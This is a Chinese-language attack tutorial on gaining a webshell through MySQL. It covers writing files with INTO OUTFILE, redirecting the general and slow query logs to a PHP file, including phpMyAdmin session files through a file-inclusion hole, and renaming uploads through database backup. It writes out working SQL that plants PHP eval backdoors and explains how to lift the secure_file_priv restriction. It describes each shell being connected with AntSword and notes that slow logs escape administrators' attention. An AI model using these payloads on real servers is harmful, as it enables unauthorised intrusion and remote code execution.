0x01、利用MySQL命令导出getshell
利用条件:
1、拥有网站的写入权限
2、Secure_file_priv参数为空或者为指定路径
3、知道网站的绝对路径
方法:
通过into outfile 进行文件写入,写入一句话木马
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');
SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';
*************************OR************************************
select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';
测试:
利用PHPStudy打开MySQL命令行
通过show global variables like ‘%secure%’;命令查看secure_file_priv,这个参数用来限制数据的导入和导出操作。
如上图所示,这个参数为NULL,MySQL服务会禁止导入和导出操作。
解决方法:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql,再查询secure_file_priv
现在即可将一句话木马导入到指定文件
用蚁剑连一下,可以成功连接。
0x02利用日志getshell
利用general_log和general_log_file拿shell
方法:
开启general_log后,系统将mysql执行的每一条查询语句写入我们指定位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,执行SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到我们指定的php文件中去了。
测试:
利用PHPStudy打开MySQL命令行
执行下面操作,修改general_log_file的值
set global general_log = "ON";
set global general_log_file=” D:/php/www/shell.php”
在查询语句中写入一句话木马
这样就成功将一句话写入了我们指定的文件。
用蚁剑连一下,可以成功连接:
当然,也可以在phpmyadmin里面更改
利用慢查询日志写shell
原理:
慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。
测试:
利用PHPStudy打开MySQL命令行
执行下面操作,修改slow_query_log的值
set global slow_query_log = "ON";
set global slow_query_log_file =” D:/php/www/shell.php”
在查询语句中写入一句话木马并延时10秒以上:
select "<?php @eval($_POST['cmd']); ?>" or sleep(11);
蚁剑连接测试
0x03 利用文件包含漏洞getshell
原理:
对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。
所以,如果目标站点存在文件包含漏洞,我们可以通过包含session文件来拿shell。
测试:
利用PHPStudy启一个环境。打开phpmyadmin,输入sql查询语句,执行
我们在session文件中就能找到这条语句的执行记录:
为了测试,我手动建立了一个存在文件包含漏洞的php文件
然后去包含我们的session文件
蚁剑连接测试
0x04 利用数据库备份getshell
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。
而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。